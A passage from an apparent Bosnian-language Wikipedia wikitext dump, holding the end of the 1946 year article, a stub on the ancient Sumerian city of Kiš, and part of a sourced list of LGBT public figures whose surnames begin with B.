Tuta, komandant u HVO, osuđenik za ratne zločine († [[2021]]) * [[2. 12.]] - [[Gianni Versace]], italijanski modni kreator († [[1997]]) * [[5. 12.]] - [[José Carreras]], tenor * [[8. 12.]] - [[Jacques Bourboulon]], fotograf * [[9. 12.]] - [[Sonia Gandhi]], indijska političarka * [[10. 12.]] - [[Fadil Redžić]], bosanskohercegovački muzičar * [[12. 12.]] - [[Emerson Fittipaldi]], auto-trkač * [[13. 12.]] - [[Jovica Aćin]], književnik i prevodilac * [[14. 12.]] - [[Patty Duke]], glumica († [[2016]]) * 14. 12. - [[Jane Birkin]], pjevačica, glumica († [[2023]]) * [[15. 12.]] - [[Miroslav Josić Višnjić]], srpski književnik († [[2015]]) * [[17. 12.]] - [[Aljoša Vučković]], glumac * 17. 12. - [[Ljiljana Lašić]], glumica * [[18. 12.]] - [[Steven Spielberg]], američki redatelj * [[23. 12.]] - [[John Sullivan]], scenarista "Mućki" († [[2011]]) * [[29. 12.]] - [[Slobodan Kovačević|Slobodan "Boda" Kovačević]], bosanskohercegovački gitarista * [[30. 12.]] - [[Berti Vogts]], fudbaler, trener * [[31. 12.]] - [[Diane von Fürstenberg]], modni kreator === Kroz godinu === * [[Mirko Pejanović]], bh. političar == Smrti == {{glavni članak|:Kategorija:Umrli 1946.}} === Januar/Siječanj &ndash; Mart/Ožujak === * [[6. 1.]] - [[Dion Fortune]], velška okultistkinja (* [[1890]]) * [[13. 1.]] - [[Radoje Dakić]], narodni heroj (* [[1911]]) * [[19. 1.]] (zvanično) - [[Nikola Kalabić]], četnički komandant (* [[1906]]) * [[20. 1.]] - [[Radivoje Kerović]], četnički vojvoda (* 1913) * [[29. 1.]] - [[Harry Hopkins]], savetnik predsednika FD Roosevelta (* [[1890]]) * [[31. 1.]] - [[Ivo Protulipac]], katolički aktivist, doktor i odvjetnik (* [[1899]]) * [[4. 2.]] - [[Milan Nedić]], general, predsednik kvislinške srpske vlade (* [[1878]]) * [[23. 2.]] - [[Tomoyuki Yamashita]], japanski general, osuđen za ratne zločine (* [[1885]]) * [[14. 3.]] - [[Werner von Blomberg]], predratni glavnokomandujući nemačke vojske (* [[1878]]) * [[24. 3.]] - [[Aleksandar Aljehin]], ruski šahista i svetski šampion u šahu (* [[1892]] === April/Travanj &ndash; Jun/Lipanj === * [[21. 4.]] - [[John Maynard Keynes]], britanski ekonomista (* [[1883]]) * [[1. 5.]] - [[Davorjanka Paunović]] Zdenka, nevenčana supruga Josipa Broza Tita (* [[1921]]) * 1. 5. - [[Grga Budislav Angjelinović]], političar, publicist (* [[1886]]) * [[16. 5.]] - [[Bruno Tesch]], pronalazač i proizvođač otrova ''Zyklon-B'' (* [[1890]]) * [[1. 6.]] - [[Ion Antonescu]], ratni vođa Rumunije (* [[1882]]) * [[9. 6.]] - [[Ananda Mahidol]], kralj Sijama (* [[1925]]) * [[10. 6.]] - [[Jack Johnson (bokser)]], bivši svetski prvak (* [[1878]]) * [[14. 6.]] - [[John Logie Baird]], pionir televizije (* [[1888]]) * [[16. 6.]] - [[Miloje Milojević]], kompozitor, muzikolog, pedagog (* [[1884]]) * [[20. 6.]] - [[Wanrong (carica)|Wanrong]], poslednja kineska carica (* [[1906]]) === Jul/Srpanj &ndash; Septembar/Rujan === * [[4. 7.]] - Čuvarke konc-logora Stutthof: ** [[Jenny-Wanda Barkmann]] (* ca. [[1922]]) ** [[Elisabeth Becker]] (* [[1923]]) ** [[Wanda Klaff]] (* [[1922]]) ** [[Ewa Paradies]] (* [[1920]]) ** [[Gerda Steinhoff]] (* [[1922]]) * [[8. 7.]] - [[Aleksandar Vasiljevič Aleksandrov]], kompozitor, osnivač ansambla (* [[1883]]) * [[13. 7.]] - [[Alfred Stieglitz]], fotograf (* [[1864]]) * [[17. 7.]] - Osuđeni na Beogradskom procesu: ** [[Dragoljub Mihailović]], komandant JVuO (* ) ** [[Dragomir Jovanović]], šef beogradske policije (* [[1902]]) ** [[Velibor Jonić]], Nedićev ministar prosvete (* [[1892]]) ** [[Tanasije Dinić]], Nedićev ministar unutr. poslova (* [[1891]]) ** [[Kosta Mušicki]], komandant Srpskog dobrovoljačkog korpusa (* [[1897]]) * [[20. 7.]] - [[Edmund Glaise-Horstenau]], njemački vojni izaslanik u NDH (* [[1882]]) * [[27. 7.]] - [[Gertrude Stein]], [[SAD|američka]] [[lezbejka|lezbejska]] spisateljica (* [[1874]]) * [[29. 7.]] - [[Milovan Kovačević]], arhitekt (* [[1905]]) * [[2. 8.]] - [[Andrej Vlasov]], sovjetski general u nemačkoj službi (* [[1901]]) * [[6. 8.]] - [[Veselin Čajkanović]], srpski klasični filolog, istoričar religije, akademik (* [[1881]]) * [[9. 8.]] - [[Léon Gaumont]], pionir filma (* [[1864]]) * [[13. 8.]] - [[H. G. Wells]], književnik (* [[1866]]) * [[4. 9.]] - [[Leon Rupnik]], slovenski kvisling (* [[1880]]) === Oktobar/Listopad &ndash; Decembar/Prosinac === * [[11. 10.]] - [[Ivan Hitrec]], hrvatski nogometaš (* [[1911]].) * [[12. 10.]] - [[Joseph Stilwell]], američki general (* [[1883]]) * [[15. 10.]] - [[Hermann Göring]], njemački rajhsmaršal (* [[1893]]) * [[16. 10.]] - osuđeni u Nirnbergu: ** [[Hans Frank]], nacistički guverner Poljske (* [[1900]]) ** [[Wilhelm Frick]], ministar unutr. poslova (* [[1877]]) ** [[Alfred Jodl]], šef Visoke komande (* [[1890]]) ** [[Ernst Kaltenbrunner]], general policije (* [[1903]]) ** [[Wilhelm Keitel]], generalfeldmaršal (* [[1882]]) ** [[Joachim von Ribbentrop]], ministar ino. poslova (* [[1893]]) ** [[Alfred Rosenberg]], nacistički ideolog (* [[1893]]) ** [[Fritz Sauckel]], opunomoćenik za radnu snagu (* [[1892]]) ** [[Arthur Seyss-Inquart]], nacistički lider u Austriji (* [[1892]]) ** [[Julius Streicher]], izdavač propagande (* [[1885]]) * [[14. 11.]] - [[Manuel de Falla]], kompozitor (* [[1876]]) * [[3. 12.]] - [[Mijo Kerošević]], narodni heroj (* [[1920]]) === Kroz godinu === * [[Miroslav Filipović]] - "fra Sotona", komandant Jasenovca (* [[1915]]) == Nobelove nagrade == * [[Nobelova nagrada za fiziku|'''Fizika''']]: [[Percy W. Bridgman]] (izum aparature za proizvodnju ekstremno visokog pritiska i za otkrića na polju fizike visokog pritiska) * [[Nobelova nagrada za kemiju|'''Kemija''']]: [[James B. Sumner]] (otkriće da se enzimi mogu kristalizovati), [[John Howard Northrop]] i [[Wendell Meredith Stanley]] (preparacija enzima i virusnih proteina u čistom obliku) * [[Nobelova nagrada za fiziologiju ili medicinu|'''Fiziologija i medicina''']]: [[Hermann Joseph Muller]] (otkriće proizvodnje mutacija putem iradijacije rendgenskim zracima) * [[Nobelova nagrada za književnost|'''Književnost''']]: [[Hermann Hesse]] (nadahnuto pisanje koje, rastući u smelosti i pronicljivosti, oličava klasične humanitarne ideale i visoke kvalitete stila) * [[Nobelova nagrada za mir|'''Mir''']]: [[Emily Greene Balch]] (zalaganje protiv rata i za razoružanje) i [[John Raleigh Mott]] (međunarodna verska bratstva i misionarstvo u korist mira) == Reference == {{reference}} == Literatura == * Milan Bajec, Ivan Dolničar (1981). ''Jugoslavija 1941-1981'', Beograd: Eksport pres. [[Kategorija:1940-e]] [[Kategorija:20. vijek|46]] [[Kategorija:Godine]] s1mw315iovtwy2bugjaiajrgtlhmogm 0 14618 42602538 42350132 2026-05-27T12:08:12Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602538 wikitext text/x-wiki {{Drevna Mezopotamija}} '''Kiš''' (''Kish'') (''Tall al-Uhaymir'') bio je drevni grad u [[Sumer]], današnjem centralnom [[Irak]]u. [[Sumerski kraljevi|Popis sumerskih kraljeva]] tvrdi da je to bio prvi grad s kraljevima nakon [[Veliki potop|Potopa]]. [[Datoteka:Murex Rimush Louvre AO21404.jpg|thumb|left|250px| Komad stele s imenom [[Rimush]]a, kralja Kisha cca. [[2270. pne.]], [[Louvre]]]] == Historija == Bio je prvi grad, koji je imao kraljeve nakon [[potop]]a. Prva dinastija nakon potopa zvala se [[Prva dinastija od Kiša]]. Bog zaštitnik grada je Zababa. Grad je bio od velikoga značaja početkom trećeg milenijuma. Kraljevi Kiša su dominirali nad okolnim kraljevima juga Mesopotamije. Tako je jedan od kraljeva Kiša arbitrirao 2600. pne. u konfliktu Ume i Lagaša. [[Sargon od Akada]] ([[2334. pne.]] -[[2279. pne.]] ) je najpre bio kralj u Kišu, pa je izgradio vlastitu prestolnicu. U periodu Akadskog carstva nakon Sargona Akadskog Kiš postaje jedan provincijski grad. == Iskopavanja == Na području Kiša isopavanja je vršio francuski arheološki tim pod vodstvom Anrija de Ženulaka od [[1912]] do [[1914]]. Anglo-američki tim je vršio iskopavanja od 1923. do 1933. Nađena su dva značajna hrama, od kojih je jedan posvećeg boginji Nani.Nađena je velika palata Sargona od Akada. == Izvori == * Karen Rhea Nemat-Nejat ''Daily Life in Ancient Mesopotamia'' (Greenwood, 1998, {{ISBN|0-313-29497-6}}; Hendrickson, 2002, {{ISBN|1-56563-712-7}}) * N.K. Sanders (trans) ''The Epic of Gilgamesh'' (Penguin Classics, 1974, {{ISBN|0-14-044100-X}}) * Nissen, Hans ''The early history of the ancient Near East, 9000-2000 B.C.'' (Chicago/London: University of Chicago Press, 1988. {{ISBN|0-226-58656-1}}, {{ISBN|0-226-58658-8}}) Elizabeth Lutzeir, trans. == Vanjske veze == {{Commonscat|Kish|Kish}} * [http://ancientneareast.tripod.com/Kish_Ukhaimir.html Kish (Ukhaimir) at The History of the Ancient Near East] {{Webarchive|url=https://web.archive.org/web/20070610052646/http://ancientneareast.tripod.com/Kish_Ukhaimir.html |date=2007-06-10 }} [[Kategorija:Uništeni gradovi]] [[Kategorija:Arheološka nalazišta u Iraku]] [[Kategorija:Sumer]] {{hist-stub}} 51z1d1kbyg7a2272f61rfavf9e36srb 0 17433 42602660 42557500 2026-05-28T04:10:23Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602660 wikitext text/x-wiki {{Sadržaj spiska LGBT osoba}} Nepotpun spisak poznatih [[gej]]eva, [[lezbejka|lezbejki]], [[biseksualnost|biseksualnih]], [[transrodnost|transrodnih]] ili [[transeksualnost|transeksualnih]] osoba iz različitih profesija i sfera društvenog i javnog života. Koncept i definicija seksualnog, rodnog i polnog identiteta su se menjali tokom vremena, tako da nisu sve osobe, koje su navedene na ovom spisku, sebe smatrale LGBT osobama, odnosno nisu koristile reči kao što su gej, lezbejka, trans muškarac i sl. da bi označile svoje identitete (na primer, reč „gej“ počinje da se koristi tek posle Drugog svetskog rata). Ipak, na osnovu istorijskih izvora saznaje se da su ove osobe ostvarivale emotivne i seksualne odnose sa osobama istog pola, te da bi se danas verovatno identifikovale kao gejevi, lezbejke ili biseksualne osobe; odnosno da su prihvatale drugačije rodne karakteristike u odnosu na tada vladajuće modele, pa da bi se danas, moguće, smatrale transrodnim ili transeksualnim osobama. === B === [[Datoteka:Francis Bacon.jpg|right|thumb|200px|Filozof [[Francis Bacon]].]] [[Datoteka:Joan baez01.jpg|right|thumb|200px|Pevačica [[Joan Baez]].]] [[Datoteka:Josephinebaker.jpg|right|thumb|200px|[[Josephine Baker]].]] [[Datoteka:Jamesbaldwin.jpg|right|thumb|200px|Pisac [[James Baldwin]].]] [[Datoteka:Tammy Baldwin, official photo portrait, color.jpg|right|thumb|200px|Političarka [[Tammy Baldwin]].]] [[Datoteka:TallulahBankhead.jpg|right|thumb|200px|Glumica [[Tallulah Bankhead]].]] [[Datoteka:Samuel Barber.jpg|right|thumb|200px|Kompozitor [[Samuel Barber]].]] [[Datoteka:AlexanderBard.jpg|right|thumb|200px|Muzičar i umetnik [[Alexander Bard]].]] [[Datoteka:Natalie Barney in Fur Cape.jpg|right|thumb|200px|Spisateljica [[Natalie Clifford Barney]].]] [[Datoteka:Amanda Barrett.jpg|thumb|right|200px|Muzičarka [[Amanda Barrett]].]] [[Datoteka:Drew_Barrymore_headshot_by_David_Shankbone.jpg|right|thumb|200px|Glumica [[Drew Barrymore]].]] [[Datoteka:Terry baum.JPG|image|thumb|200px|Političarka [[Terry Baum]].]] [[Datoteka:Bianca Beauchamp.jpg|thumb|right|200px|Model [[Bianca Beauchamp]].]] [[Datoteka:Volker-Beck-2005-08-v2.jpg|right|thumb|200px|Političar [[Volker Beck]].]] [[Datoteka:Leonard Bernstein 1971.jpg|thumb|right|200px| [[Leonard Bernstein]].]] [[Datoteka:Marlon Brando Streetcar 1948 e.jpg|right|thumb|200px|[[Marlon Brando]].]] [[Datoteka:Lord Byron in Albanian dress.jpg|right|thumb|200px| [[George Gordon Byron|Lord Byron]].]] {| class=wikitable ! width="24%" | Ime ! width="13%" | Datumi ! width="15%" | Zemlja ! width="35%" | Profesija ! width="17%" | Napomena ! width="1%" | Reference |- valign="top" | [[Lisa B]] | | [[Kanada]] | Poet | Queer |<ref>Ziysah (March 7, 2005), [http://www.trentarthur.info/archives/000418.html Interview with spoken-word poet lisa b] {{Webarchive|url=https://web.archive.org/web/20080406023412/http://www.trentarthur.info/archives/000418.html |date=2008-04-06 }}, ''Arthur: Trent University's Student and Community Newspaper''. Retrieved April 5, 2007.</ref> |- | [[Jamie Babbit]] | 1970 | [[Sjedinjene Američke Države|SAD]] | Filmska i televizijska rediteljka | |<ref>Warn, Sarah (June 2004) [https://archive.today/20120717195249/http://www.afterellen.com/archive/ellen/People/interviews/62004/jamiebabbit.html Interview with Jamie Babbit], AfterEllen.com. Retrieved June 30, 2007.</ref> |- | [[Babur]] | 1493-1530 | Turko-Mongol | Car Indije | [[Biseksualnost|Bi]] |<ref>[http://www.glbtq.com/literature/south_asian_lit.html South Asian Literature at GLBTQ.com]. Retrieved March 22, 2007.</ref> |- | [[Babydaddy]] | 1976 | [[Sjedinjene Američke Države|SAD]] | Tekstopisac i muzičar | |<ref>Maclean, Gareth (September 25, 2004), [http://arts.guardian.co.uk/features/story/0,,1311369,00.html Sisters under the skin], ''The Guardian''. Retrieved November 18, 2006.</ref> |- | [[Francis Bacon (slikar)|Francis Bacon]] | 1909-1992 | [[Ujedinjeno Kraljevstvo|UK]] | Slikar. | |<ref>[http://www.glbtq.com/arts/bacon_f_art.html Francis Bacon on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071231082903/http://www.glbtq.com/arts/bacon_f_art.html |date=2007-12-31 }}. Retrieved November 5, 2006.</ref> |- | [[Francis Bacon]] | 1561-1626 | [[Ujedinjeno Kraljevstvo|UK]] | Filozof. | |<ref>, Norton, Rictor (January 8, 2000), [http://www.infopt.demon.co.uk/baconfra.htm "Sir Francis Bacon", The Great Queens of History] {{Webarchive|url=https://web.archive.org/web/20070824145236/http://www.infopt.demon.co.uk/baconfra.htm |date=2007-08-24 }}. Retrieved November 6, 2006.</ref> |- | [[Ruth Badger]] | 1978 | [[Ujedinjeno Kraljevstvo|UK]] | Poslovna žena | | <ref>Sky news, (April 12, 2006), [http://showbiz.sky.com/showbiz/article/0,,50001-1218486,00.html Ruth Fires All Men]. Retrieved June 25, 2007.</ref> |- | [[Joan Baez]] | 1941 | [[Sjedinjene Američke Države|SAD]] | Pevačica | [[Biseksualnost|Bi]] |<ref>Rodnitzky, Jerry L (1999). Feminist Phoenix: The Rise and Fall of a Feminist Counterculture. Praeger/Greenwood, 138. {{ISBN|0-275-96575-9}}.</ref> |- | [[Mianne Bagger]] | 1966 | [[Danska]] | Igračica golfa | trans |<ref name="miannebagger">"[http://www.miannegolf.com/bio.html Mianne Bagger - Bio]". Retrieved [[2007]]-[[March 31|03-31]].</ref> |- | [[Bai Ling]] | 1970 | [[Narodna Republika Kina|Kina]] | Glumica | [[Biseksualnost|Bi]] |<ref>New York Daily News, (May 19th, 2004), [http://www.clublez.com/movies/lesbian_celebrities/l/ling_bai/index.html "GENDER IS NOT A PROBLEM FOR ME"] {{Webarchive|url=https://web.archive.org/web/20120228174853/http://www.clublez.com/movies/lesbian_celebrities/l/ling_bai/index.html |date=2012-02-28 }}. Retrieved November 17, 2006.</ref> |- | [[Jenny Bailey]] | ? | [[Ujedinjeno Kraljevstvo|UK]] | Političarka | Trans |<ref name="jennybailey">BBC News ([[2007]]-[[May 24|05-24]]). "[http://news.bbc.co.uk/2/hi/uk_news/england/cambridgeshire/6686933.stm First sex-swap mayor is sworn in]". Retrieved [[2007]]-[[June 19|06-19]].</ref> |- | [[Paul Bailey]] | 1937 | [[Ujedinjeno Kraljevstvo|UK]] | Pisac | |<ref>[http://www.contemporarywriters.com/authors/?p=auth9 Biography], Contemporarywriters.com. Retrieved November 6, 2006.</ref> |- | [[Simon Bailey]] | 1955-1995 | [[Ujedinjeno Kraljevstvo|UK]] | Anglikanski sveštenik | | <ref>Bailey, Rosemary,''Scarlet Ribbons: A Priest with AIDS'' (London: Serpent's Tail, 1997)</ref> |- | [[Jon Robin Baitz]] | 1961 | [[Sjedinjene Američke Države|SAD]] | Dramaturg i televizijski producent | |<ref>Mackie, Drew (September 25, 2006), [https://web.archive.org/web/20061030125722/http://www.afterelton.com/people/2006/9/baitz.html Jon Robin Baitz: Not Your Usual TV Writer], Afterelton.com. Retrieved November 19, 2006.</ref> |- | [[Jack Baker]] | 1942 | [[Sjedinjene Američke Države|SAD]] | Advokat i LGBT aktivista | |<ref>[http://www.time.com/time/magazine/article/0,9171,943880,00.html] {{Webarchive|url=https://web.archive.org/web/20081221221332/http://www.time.com/time/magazine/article/0,9171,943880,00.html |date=2008-12-21 }} Time magazine story on seeking gay marriage license in 1971.</ref> |- | [[James Robert Baker]] | 1946-1997 | [[Sjedinjene Američke Države|SAD]] | Pisac | |<ref>Roy Rivenburg, Los Angeles Times, April 8, 1993; Page E-1.</ref> |- | [[Josephine Baker]] | 1906-1975 | [[Francuska]] | Pevačica i zabavljačica | [[Biseksualnost|Bi]] |<ref>Strong, Lester [http://www.glreview.com/issues/13.5/13.5-strong.php Josephine Baker’s Hungry Heart] {{Webarchive|url=https://web.archive.org/web/20090622080726/http://www.glreview.com/issues/13.5/13.5-strong.php |date=2009-06-22 }}, The Gay and Lesbian Review, volume 13.5.</ref> |- | [[Marina Baker]] | 1967 | [[Ujedinjeno Kraljevstvo|UK]] | Spisateljica i političarka | [[Biseksualnost|Bi]] |<ref>Time Out (UK) 6-13 December 1995, pg. 18-22, by Marina Baker, "Bunny Talks"</ref> |- | [[Clare Balding]] | 1971 | [[Ujedinjeno Kraljevstvo|UK]] | Sportska novinarka za BBC | |<ref>Gay.com, (November 4, 2003), [http://uk.gay.com/headlines/5315 BBC's horse racing presenter comes out]. Retrieved November 6, 2006.</ref> |- | [[James Baldwin]] | 1924-1987 | [[Sjedinjene Američke Države|SAD]] | Pisac | |<ref>[http://www.glbtq.com/literature/baldwin_j.htmlGay.com, James Baldwin on Glbtq.com]{{Dead link|date=October 2022 |bot=InternetArchiveBot |fix-attempted=yes }}. Retrieved November 5, 2006.</ref> |- | [[Oliver Baldwin, 2nd Earl Baldwin of Bewdley]] | 1899-1958 | [[Ujedinjeno Kraljevstvo|UK]] | Političar | |<ref>Christopher J. Walker, Oliver Baldwin: A Life of Dissent (Arcadia Books, 2003).</ref> |- | [[Tammy Baldwin]] | 1962 | [[Sjedinjene Američke Države|SAD]] | Političar | |<ref>Pauken, Heidi (January 10, 2003), [http://www.prospect.org/web/page.ww?section=root&name=ViewPrint&articleId=6882 The Students' Rep] {{Webarchive|url=https://web.archive.org/web/20060428063656/http://www.prospect.org/web/page.ww?section=root&name=ViewPrint&articleId=6882 |date=2006-04-28 }}, ''The American Prospect''. Retrieved November 10, 2006.</ref> |- | [[Alan Ball (scenarist)|Alan Ball]] | 1957 | [[Sjedinjene Američke Države|SAD]] | Scenarista | |<ref>Champagne, Christian, [http://www.planetout.com/entertainment/television/gaywatch/20010629.html Gaywatch] {{Webarchive|url=https://web.archive.org/web/20060409152806/http://www.planetout.com/entertainment/television/gaywatch/20010629.html |date=2006-04-09 }}, Planetout.com. Retrieved November 10, 2006.</ref> |- | [[Ann Bancroft]] | 1955 | [[Sjedinjene Američke Države|SAD]] | Prva žena na [[Sjeverni pol|Severnom polu]] | |<ref>{{cite web |title=Antarctic Alliance |work=[[The Advocate]] |date = 19. 06. 2001. |url=http://www.findarticles.com/p/articles/mi_m1589/is_2001_June_19/ai_75435308 |last=Quittner |first=Jeremy |accessdate = 17. 03. 2007.}}</ref> |- | [[Tallulah Bankhead]] | 1902-1968 | [[Sjedinjene Američke Države|SAD]] | Glumica | [[Biseksualnost|Bi]] |<ref>[http://www.glbtq.com/arts/bankhead_t.html Tallulah Bankhead on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20131204195242/http://www.glbtq.com/arts/bankhead_t.html |date=2013-12-04 }}. Retrieved January 16 2006.</ref> |- | [[Samuel Barber]] | 1910-1981 | [[Sjedinjene Američke Države|SAD]] | Kompozitor | |<ref>[http://www.glbtq.com/arts/barber_s.html Samuel Barber on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20050411190345/http://www.glbtq.com/arts/barber_s.html |date=2005-04-11 }}. Retrieved January 16 2006.</ref> |- | [[Jillian Barberie]] | 1966 | [[Sjedinjene Američke Države|SAD]] | TV voditeljka. | [[Biseksualnost|Bi]] |<ref>Howard Stern show (October 14, 2003),[http://www.marksfriggin.com/news03/10-13.htm Howard Stern show recap]. Retrieved November 7 2006.</ref> |- | [[Alexander Bard]] | 1961 | [[Švedska]] | Muzičar | [[Biseksualnost|Bi]] | <ref>[http://andrejkoymasky.com/liv/fam/biob1/bard1.html Matt & Andrej Koymasky Famous GLTB biography of Alexander Bard] {{Webarchive|url=https://web.archive.org/web/20070808110312/http://andrejkoymasky.com/liv/fam/biob1/bard1.html |date=2007-08-08 }}. Retrieved January 2006.</ref> |- | [[Jean-Pierre Barda]] | 1967 | [[Švedska]] | Muzičar i glumac | [[Biseksualnost|Bi]] | <ref>[http://andrejkoymasky.com/liv/fam/biob1/bard2.html Matt & Andrej Koymasky Famous GLTB biography of Jean-Pierre Barda] {{Webarchive|url=https://web.archive.org/web/20070610115937/http://andrejkoymasky.com/liv/fam/biob1/bard2.html |date=2007-06-10 }}. Retrieved November 17, 2006.</ref> |- | [[Clive Barker]] | 1952 | [[Ujedinjeno Kraljevstvo|UK]] | Pisac i filmski reditelj. | | <ref>Ishwood, Charles (February 21, 1995), [http://www.clivebarker.com/html/visions/confess/nonls/advocate/advocate.htm Lord of ILLUSION], ''[[The Advocate]]''. Retrieved November 7, 2006.</ref> |- | [[Gregory Barker]] | 1966 | [[Ujedinjeno Kraljevstvo|UK]] | Političar | | <ref name="news.independent.co.uk">''The Independent'', (May 6, 2007), [http://news.independent.co.uk/uk/this_britain/article1153578.ece The pink list 2007: The IoS annual celebration of the great and the gay] {{Webarchive|url=https://web.archive.org/web/20080107115957/http://news.independent.co.uk/uk/this_britain/article1153578.ece |date=2008-01-07 }}. Retrieved June 25, 2007.</ref> |- | [[Djuna Barnes]] | 1892-1982 | [[Sjedinjene Američke Države|SAD]] | Spisateljica | [[Biseksualnost|Bi]] |<ref>Herring, Phillip (1995). Djuna: The Life and Work of Djuna Barnes. New York: Penguin Books, xvi. {{ISBN|0-14-017842-2}}</ref> |- | [[Fred Barnes (zabavljač)|Fred Barnes]] | 1885-1938 | [[Ujedinjeno Kraljevstvo|UK]] | Zabavljač | |<ref>[http://www.fantasticfiction.co.uk/b/paul-bailey/three-queer-lives.htm Summary of biography], Fantasticfiction.co.uk. Retrieved November 10 2006.</ref> |- | [[Richard Barnes (političar)|Richard Barnes]] | ? | [[Ujedinjeno Kraljevstvo|UK]] | Političar | |<ref>{{cite web |title=Gay candidate welcomes Boris to Mayoral race |url=http://www.pinknews.co.uk/news/articles/2005-4950.html |date = 16. 07. 2007. |accessdate = 04. 08. 2007. |work=[[PinkNews]]}}</ref> |- | [[Lisa A. Barnett]] | 1958-2006 | [[Sjedinjene Američke Države|SAD]] | Spisateljica naučne fantastike | |<ref name="lisaabarnett">{{cite web |url=http://www.boston.com/news/globe/obituaries/articles/2006/05/07/lisa_a_barnett_fiction_writer_who_created_worlds_of_fantasy |title=Lisa A. Barnett, fiction writer who created worlds of fantasy |work=[[Boston Globe]] |accessdate = 16. 03. 2007. |date = 07. 05. 2006. |last=Stickgold |first=Emma}}</ref> |- | [[Tim Barnett]] | 1958 | [[Novi Zeland]] | Političar | |<ref>Bajko, Matthew S. (Auguist 31, 2003), [http://www.ebar.com/news/article.php?sec=news&article=1125 Gay New Zealander fights for sex workers' rights] {{Webarchive|url=https://web.archive.org/web/20081006232136/http://www.ebar.com/news/article.php?sec=news&article=1125 |date=2008-10-06 }}, ''The Bay Area Reporter''. Retrieved November 10 2006.</ref> |- | [[Natalie Clifford Barney]] | 1876-1972 | [[Sjedinjene Američke Države|SAD]] | Spisateljica | |<ref>Rodriguez, Suzanne (2002). Wild Heart: A Life: Natalie Clifford Barney and the Decadence of Literary Paris. New York: HarperCollins. {{ISBN|0-06-093780-7}}.</ref> |- | [[Andrew Barr]] | 1973 | [[Australija]] | Političar | |<ref>Gardner, Jorian (27 April, 2006), [http://www.coalitionforequality.org.au/index.php?option=com_content&task=view&id=436&Itemid=2 Why Andrew Barr has plenty to beam about] {{Webarchive|url=https://web.archive.org/web/20140303014329/http://coalitionforequality.org.au/index.php?option=com_content&task=view&id=436&Itemid=2 |date=2014-03-03 }}, ''Canberra City News''. Retrieved November 20, 2006.</ref> |- | [[Jean Barraqué]] | 1928-1973 | [[Francuska]] | Kompozitor | |<ref>Eribon, Didier (2004). Insult and the Making of the Gay Self. Duke University Press, 250. {{ISBN|0-8223-3371-6}}.</ref> |- | [[Amanda Barrett]] | ? | [[Sjedinjene Američke Države|SAD]] | Muzičarka. | |<ref name="Ditty Bop">Poet, J., [http://www.gay.com/entertainment/music/rockout/article.html?coll=pno_entertainment&sernum=1717&page=1 Ditty Bop], Gay.com. Retrieved November 7, 2006.</ref> |- | [[Amanda Barrie]] | 1935 | [[Ujedinjeno Kraljevstvo|UK]] | Glumica | [[Biseksualnost|Bi]] |<ref>Anglesey, Natalie (July 13, 2006), [http://www.manchestereveningnews.co.uk/entertainment/filmandtv/s/217/217948_amandas_bad_and_loving_it.html Amanda's Bad and loving it!], ''Manchester Evening News''. Retrieved November 17, 2006.</ref> |- | [[John Barrowman]] | 1967 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac i zabavljač | |<ref>{{cite press release | title = John Barrowman, Sugar Rush, Sheri Dobrowski, Mail on Sunday win accolades at Stonewall Awards | publisher = [[Stonewall (UK)|Stonewall]] | date = 2006-11-03 | url = http://www.stonewall.org.uk/media/current_releases/1524.asp | accessdate = 2006-11-03 }}</ref> |- | [[Drew Barrymore]] | 1975 | [[Sjedinjene Američke Države|SAD]] | Glumica | [[Biseksualnost|Bi]] |<ref>Warn, Sarah (July, 2003), [https://web.archive.org/web/20060504124043/http://www.afterellen.com/People/bicelebs.html Bi with a Boyfriend: the Latest Hollywood Trend?], Afterellen.com. Retrieved November 17, 2006.</ref> |- | [[Michael Barrymore]] | 1952 | [[Ujedinjeno Kraljevstvo|UK]] | Zabavljač. | |<ref>{{cite news | title=Tears Of A Clown (interview, uncut version) | last=Simpson | first=Mark | publisher=Independent On Sunday | date=2003-03-02 | url=http://www.marksimpson.com/pages/journalism/journo_barrymoreint.html | access-date=2007-08-17 | archivedate=2007-09-27 | archiveurl=https://web.archive.org/web/20070927220251/http://www.marksimpson.com/pages/journalism/journo_barrymoreint.html | deadurl=yes }}</ref> |- | [[Paul Bartel]] | 1938-2000 | [[Sjedinjene Američke Države|SAD]] | Glumac, pisac i reditelj | |<ref>Bartel, Paul (July 21, 1998), [http://findarticles.com/p/articles/mi_m1589/is_n764/ai_20944435 Twof a kind - Tommy O'Haver and Paul Bartel of 'Billy's Hollywood Screen Kiss' - Interview], ''[[The Advocate]]''. Retrieved November 7, 2006.</ref> |- | [[Roland Barthes]] | 1915-1980 | [[Francuska]] | Teoretičar književnosti. | |<ref>Louis-Jean Calvet, trans Sarah Wykes (1994), Roland Barthes: A Biography, Indiana University Press, Bloomington, {{ISBN|0-253-34987-7}}.</ref> |- | [[Neil Bartlett (dramaturg)|Neil Bartlett]] | 1958 | [[Ujedinjeno Kraljevstvo|UK]] | Dramaturg | | <ref name="Gay Power: The pink list">''The Independent'', (July 2, 2006), [http://news.independent.co.uk/uk/this_britain/article1153578.ece Gay Power: The pink list] {{Webarchive|url=https://web.archive.org/web/20080107115957/http://news.independent.co.uk/uk/this_britain/article1153578.ece |date=2008-01-07 }}. Retrieved June 25, 2007.</ref> |- | [[Lance Bass]] | 1979 | [[Sjedinjene Američke Države|SAD]] | Pevač | |<ref>People Magazine (July 26, 2006), [http://celebrity.aol.com/people/ataol/articles/0,26618,1219142,00.html Lance Bass: I'm Gay] {{Webarchive|url=https://web.archive.org/web/20070307005745/http://celebrity.aol.com/people/ataol/articles/0,26618,1219142,00.html |date=2007-03-07 }}. Retrieved November 7, 2006.</ref> |- | [[Alan Bates]] | 1934-2003 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | [[Biseksualnost|Bi]] | <ref>{{cite news | url=http://www.gcn.ie/content/templates/newsupdate.aspx?articleid=2222&zoneid=4 | title=Late UK Actor Alan Bates Outed | work=GCN | date=22. 5. 2007. | accessdate=11. 07. 2007. | archivedate=2007-09-28 | archiveurl=https://web.archive.org/web/20070928022808/http://www.gcn.ie/content/templates/newsupdate.aspx?articleid=2222&zoneid=4 | deadurl=yes }}</ref><ref>Otherwise Engaged: The Life Of Alan Bates, by Donald Spoto</ref> |- | [[Katharine Lee Bates]] | 1859-1929 | 